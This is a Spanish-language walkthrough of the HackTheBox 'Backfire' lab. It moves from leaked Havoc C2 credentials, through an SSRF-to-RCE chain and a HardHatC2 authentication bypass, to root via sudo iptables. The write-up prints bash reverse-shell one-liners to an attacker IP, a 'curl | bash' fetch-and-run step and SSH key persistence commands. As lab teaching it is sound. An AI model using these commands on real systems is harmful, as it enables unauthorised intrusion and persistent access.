# BackFire WriteUp - HackTheBox Machine ![Backfire](https://hackmd.io/_uploads/BJmRHbfmxl.png) --- ### 🔎 **Fase de reconocimiento** Se hace un escaneo de `nmap` para reconocer el entorno con los parametros: - `-sV` Para identificar las versiones de los servicios expuestos. - `-Pn` Para omitir el ping a los hosts (asumiendo que están activos). - `-sC` Para utilizar los scripts por defecto de `nmap`. ![Pasted image 20250531110346](https://hackmd.io/_uploads/HkBlUZfQxx.png) --- ### 🌐 **Análisis del puerto 8000** En el puerto 8000 nos encontramos con 2 archivos: - `disable_tls.patch` - `havoc.yaotl` ![Pasted image 20250531110420](https://hackmd.io/_uploads/BkmfIZMQxe.png) ![Pasted image 20250531113521](https://hackmd.io/_uploads/Skw7LbMQxe.png) Al inspeccionar el archivo `havoc.yaotl`, identificamos credenciales en texto claro: - `ilya:CobaltStr1keSuckz!` - `sergej:1w4nt2sw1tch2h4rd4tc2` Esto indica que el servidor ejecuta **Havoc C2**, una plataforma de post-explotación utilizada en entornos de Red Teaming. ![Pasted image 20250531113543](https://hackmd.io/_uploads/SyCNLWGXxl.png) --- ### 🚨 **Explotación de Havoc C2 – SSRF a RCE** Investigando, encontramos un repositorio que explota vulnerabilidades conocidas en Havoc C2: [sebr-dev/Havoc-C2-SSRF-to-RCE: This is a modified version of the CVE-2024-41570 SSRF PoC from @chebuya chained with the auth RCE exploit from @hyperreality. This exploit executes code remotely to a target due to multiple vulnerabilities in Havoc C2 Framework. (https://github.com/HavocFramework/Havoc)](https://github.com/sebr-dev/Havoc-C2-SSRF-to-RCE) Este exploit combina: - **SSRF (Server-Side Request Forgery) – CVE-2024-41570**. - **Bypass de autenticación y ejecución remota (RCE)**. Creamos un payload para obtener una **reverse shell** y creamos un servidor http con python: `echo "bash -c 'bash -i >& /dev/tcp/10.10.14.67/4444 0>&1'" > shell.sh` `python3 -m http.server 80` ![Pasted image 20250531113107](https://hackmd.io/_uploads/Sy4YL-fQex.png) Usamos las credenciales de `ilya` para ejecutar el exploit y forzar la ejecución remota: `curl http://10.10.14.67/shell.sh | bash` ![Pasted image 20250531113122](https://hackmd.io/_uploads/HJccL-zXxe.png) ✔️ **Conexión recibida correctamente:** ![Pasted image 20250531113136](https://hackmd.io/_uploads/ByFiUZzXgx.png) --- ### 🔐 **Persistencia SSH** Para mantener acceso, generamos un par de claves: `ssh-keygen -t ed25519 -f ~/.ssh/backfire` `cat ~/.ssh/backfire.pub` ![Pasted image 20250531121926](https://hackmd.io/_uploads/ry628-zQlx.png) Luego la insertamos en la máquina víctima: `echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPJMvnl8380kaakxT3UL3asgc2ngmheBv94TmH/XpbTm kali@kali' >> ~/.ssh/authorized_keys` ![Pasted image 20250531122059](https://hackmd.io/_uploads/H1f0U-GQgl.png) Ya podemos conectarnos vía SSH sin contraseña: ![Pasted image 20250531122124](https://hackmd.io/_uploads/ByACLZG7lx.png) --- ### 📄 **HardHatC2 expuesto internamente** Al leer `hardhat.txt`, descubrimos que Sergej instaló **HardHatC2** para pruebas: ![Pasted image 20250531132324](https://hackmd.io/_uploads/r1rfP-Mmge.png) Comprobamos servicios internos expuestos: `ss -tuln` ![Pasted image 20250531130936](https://hackmd.io/_uploads/SkM7DWGQlx.png) Redirigimos los puertos 7096 y 5000 usando port forwarding: `ssh -i ~/.ssh/backfire ilya@backfire.htb -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000` ![Pasted image 20250531133715](https://hackmd.io/_uploads/B1l4PbG7lg.png) Accedemos al panel en `https://localhost:7096`: ![Pasted image 20250531133730](https://hackmd.io/_uploads/BJo4Pbf7gg.png) --- ### 💥 **Explotación de HardHatC2 – Auth Bypass + RCE** Encontramos este excelente artículo con vulnerabilidades 0day en HardHatC2: [HardHatC2 0-Days (RCE & AuthN Bypass) | by Pichaya Morimoto | สยามถนัดแฮก](https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7) Vulnerabilidades destacadas: - Arbitrary File Write - Authentication Bypass - Remote Code Execution (RCE) Probamos el **bypass de autenticación**, y confirmamos que se creó el usuario `sth_pentest`: ![Pasted image 20250531134353](https://hackmd.io/_uploads/B1aBDZGXel.png) ![Pasted image 20250531134336](https://hackmd.io/_uploads/SkOLvbGmxg.png) Accedemos al panel con: `sth_pentest:sth_pentest` ![Pasted image 20250531134416](https://hackmd.io/_uploads/S1SDwWMXle.png) Desde la consola `/ImplantInteract`, ejecutamos: `whoami` ✔️ Somos el usuario **sergej**: ![Pasted image 20250531134715](https://hackmd.io/_uploads/HJWuvbMQgg.png) --- ### 🧪 **Escalada de privilegios** Colocamos un nuevo listener en otro puerto: `nc -nvlp 5555` Ejecutamos el siguiente payload desde la consola interactiva: `bash -c 'bash -i >& /dev/tcp/10.10.14.67/5555 0>&1'` ![Pasted image 20250531135150](https://hackmd.io/_uploads/HJ-FDbGXgl.png) ✔️ Obtenemos shell como `sergej`: ![Pasted image 20250531135138](https://hackmd.io/_uploads/B1nKwbf7eg.png) Al verificar `sudo -l`, vemos que `sergej` puede ejecutar `/usr/sbin/iptables` como root. ``` sergej@backfire:~$ sudo -l Matching Defaults entries for sergej on backfire: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User sergej may run the following commands on backfire: (root) NOPASSWD: /usr/sbin/iptables (root) NOPASSWD: /usr/sbin/iptables-save ``` Aprovechamos esto para escribir nuestra clave pública en `authorized_keys` como root: ![Pasted image 20250531140424](https://hackmd.io/_uploads/BJAcPbz7ex.png) ![Pasted image 20250531140525](https://hackmd.io/_uploads/H15jPZGQle.png) Nos conectamos vía SSH como **root**: `ssh -i ~/.ssh/myrootkey root@backfire.htb` 📦 Leemos la flag: ![Pasted image 20250531140511](https://hackmd.io/_uploads/SkdhwbzXxl.png) --- ## ✅ **Resumen** - **Acceso inicial:** Havoc C2 – credenciales filtradas + CVE-2024-41570 (SSRF → RCE) - **Persistencia:** SSH key con usuario `ilya` - **Descubrimiento lateral:** HardHatC2 interno - **Explotación secundaria:** Auth bypass + RCE - **Escalada de privilegios:** Abuso de `iptables` con sudo + modificación de `authorized_keys` - **Root access:** vía SSH con clave insertada ![Nano](https://www.hackthebox.eu/badge/image/54373) [Sigueme en Twitter/X](https://www.x.com/0xN4no)